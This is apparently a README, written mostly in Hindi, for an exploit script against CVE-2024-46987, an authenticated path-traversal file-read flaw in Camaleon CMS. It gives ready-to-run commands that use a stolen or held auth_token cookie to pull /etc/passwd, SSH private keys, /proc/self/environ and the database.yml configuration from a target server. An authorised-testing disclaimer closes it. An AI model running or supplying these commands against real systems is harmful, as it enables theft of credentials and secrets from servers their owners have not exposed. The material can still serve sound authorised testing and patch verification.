
CVE-2024-46987 - Camaleon CMS LFI शोषण
कैमेलियन CMS के लिए प्रमाणित स्थानीय फ़ाइल सम्मिलन (LFI) शोषण।
कैमेलियन CMS /admin/media/download_private_file एंडपॉइंट के माध्यम से एक प्रमाणित LFI हमले के लिए संवेदनशील है। file पैरामीटर ठीक से स्वच्छ नहीं किया गया है, जो सर्वर से मनमानी फ़ाइलों को पढ़ने के लिए पथ ट्रैवर्सल की अनुमति देता है।
pip install requests
# Print file to terminal (default)
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token"
# Save to file
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token" -o passwd.txt
| पैरामीटर | विवरण |
|---|---|
-u, --url | लक्ष्य URL |
-f, --file | पढ़ने के लिए फ़ाइल (जैसे, /etc/passwd) |
-t, --token | auth_token कुकी मान |
-o, --output | आउटपुट फ़ाइल नाम (वैकल्पिक, सेट न होने पर टर्मिनल पर प्रिंट होता है) |
# Read passwd file
python3 exploit.py -u https://example.com -f /etc/passwd -t "auth_token"
# Read SSH keys
python3 exploit.py -u https://example.com -f /home/user/.ssh/id_rsa -t "auth_token" -o id_rsa
# Read environment variables
python3 exploit.py -u https://example.com -f /proc/self/environ -t "auth_token"
# Read application config
python3 exploit.py -u https://example.com -f /var/www/html/config/database.yml -t "auth_token"
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके परीक्षण की आपको स्पष्ट अनुमति है।